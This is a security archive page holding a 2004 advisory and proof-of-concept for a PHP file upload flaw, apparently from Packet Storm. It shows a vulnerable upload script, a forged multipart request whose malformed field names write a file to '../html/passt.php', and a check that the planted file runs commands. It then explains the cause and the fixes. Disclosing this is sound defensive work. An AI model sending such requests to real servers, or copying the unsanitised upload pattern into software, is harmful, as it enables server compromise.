exploit the possibilities


Posted Oct 1, 2004
Authored by Stefano Di Paola | Site wisec.it

PHP proof of concept exploit that makes use of an arbitrary file upload flaw in PHP versions below 4.3.9 and 5.0.2.

tags | exploit, arbitrary, php, proof of concept, file upload
MD5 | 82bbf54363bb3c8d4fb0c1e2add5924a


Change Mirror Download
PHP File Upload Vulnerability POC

Title: Overwrite $_FILE array in rfc1867 - Mime multipart/form-data File Upload
Author: Stefano Di Paola
Affected: Php <= 5.0.1
Not Affected: Maybe some old Version of Php before 4.2.x
Vulnerability Type:
Possible write of a downloaded file in an arbitrary location.

Resources: Recently published on Bugtraq and VulnWatch


By forging an appropriate request for a Mime multipart/form-data file it is possible to set the "name" element value to an arbitrary filename if the name of $_FILES element contains a '_' (underscore) like "user_file" Let's use Example 34-2. Validating file uploads (changing 'userfile' to 'user_file') from http://www.php.net/manual/en/features.file-upload.php :

-----file: upload.php------
// In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used
// of $_FILES.

$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['user_file']['name'];

print "<pre>";
if (is_uploaded_file($_FILES['user_file']['tmp_name']) && move_uploaded_file($_FILES['user_file']['tmp_name'], $uploadfile)) {
print "File is valid, and was successfully uploaded. ";
print "Here's some more debugging info:\n";
} else {
print "Possible file upload attack! Here's some debugging info:\n";
print "</pre>";

----end file: upload.php------

N.B. The is_uploaded_file php function has been added to proof that this check is bypassable.

Let's suppose that /var/www/html/ is writable by apache user (or any other dir in apache root).

$: (cat form)|nc 80

File is valid, and was successfully uploaded.
Here's some more debugging info:

[user_file] =>Array(
[name] => ../html/passt.php
[tmp_name] => /tmp/phpucjLV1
[error] => 0
[size] => 30
[type] => application/octet-stream

where form is:

POST /upload.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6)
Gecko/20040115 Galeon/1.3.12
Accept-Language: en
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Content-Type: multipart/form-data;
Content-Length: 395

Content-Disposition: form-data; name="user[file[name]123";
Content-Type: ../html/passt.php


Content-Disposition: form-data; name="user[file[type]123"; filename="vg"
Content-Type: application/octet-stream



By looking closely our request it can be noted that the name of uploaded file is going to be valued by 'Content-Type: ../html/passt.php' and not by filename='p.php'
Second section is injected just to make things more 'normal', by allowing php interpreter to instanziate 'type' element, but it's just a matter of style...

And then let's verify that all went right:

$: curl ""
uid=72(apache) gid=72(apache) groups=72(apache)

The Issue
This vulnerability permits to bypass the sanitization php interpreter does on filename to remove prepended directories. So if the developer of a upload php script trust in php pre sanitization of input, a malicious user could use this flaw to upload a file in an arbitrary location. The issue is in the fact that, as can be seen in request, by playing with sqare brackets and by appending some non ']' at the end of the 'name' variable value, a malicious user can fool the array parser embedded in php interpreter, resulting in a different array from the expected one.

I won't go too deep in details on why this was possible (it's just a matter of debugging), but it should be enough to know that the parameter 'name' value in request ('user[file[element]123') is parsed firstly as a simple String type by SAPI_POST_HANDLER_FUNC (is_arr_upload = 0) and then parameter is parsed again by php_register_variable and seen as an array.
This flaw creates a incongruence in the type of the variable, that can be used to exploit the php upload script.
Additional Topics
by playing with arrays of arrays and open square brackets I did a lot of thing but the *big* thing is this one.
The Solution
The most simple solution consists in downloading and installing php 5.0.2 or 4.3.9 that have been released a couple of days ago.

An alternative solution is to check if $_FILES[]['name'] is really a stripped filename by using something like this: $filename=basename($_FILES[]['name']);

Florence, September the 26th 2004


RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    15 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    6 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2019 Packet Storm. All rights reserved.

Security Services
Hosting By